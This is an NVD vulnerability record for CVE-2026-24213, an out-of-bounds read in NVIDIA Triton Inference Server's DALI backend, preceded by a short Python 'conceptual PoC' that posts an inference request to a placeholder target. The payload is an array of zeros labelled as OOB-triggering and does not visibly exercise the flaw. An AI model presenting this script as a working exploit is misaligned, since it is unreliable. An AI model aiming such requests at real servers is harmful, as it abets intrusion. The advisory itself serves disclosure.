CVE-2026-24213

import requests # Target URL (Example) target_url = "http://target-triton-server:8000/v2/models/dali_model/infer" # Malicious payload designed to trigger Out-of-Bounds Read in DALI backend # This is a conceptual PoC. Actual payload structure depends on specific DALI configuration. payload = { "inputs": [ { "name": "INPUT", "shape": [1, 100], "datatype": "FP32", "data": [0.0] * 100 # Manipulated data to trigger OOB } ] } try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error occurred: {e}")

{"cve": {"id": "CVE-2026-24213", "sourceIdentifier": "[email protected]", "published": "2026-05-20T04:16:46.913", "lastModified": "2026-05-20T17:18:32.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an attacker could cause an out-of-bounds read. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, or information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.03", "matchCriteriaId": "D5CC0AB5-9C28-4746-A0A0-D44CC1D43DF6"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24213", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5828", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24213", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}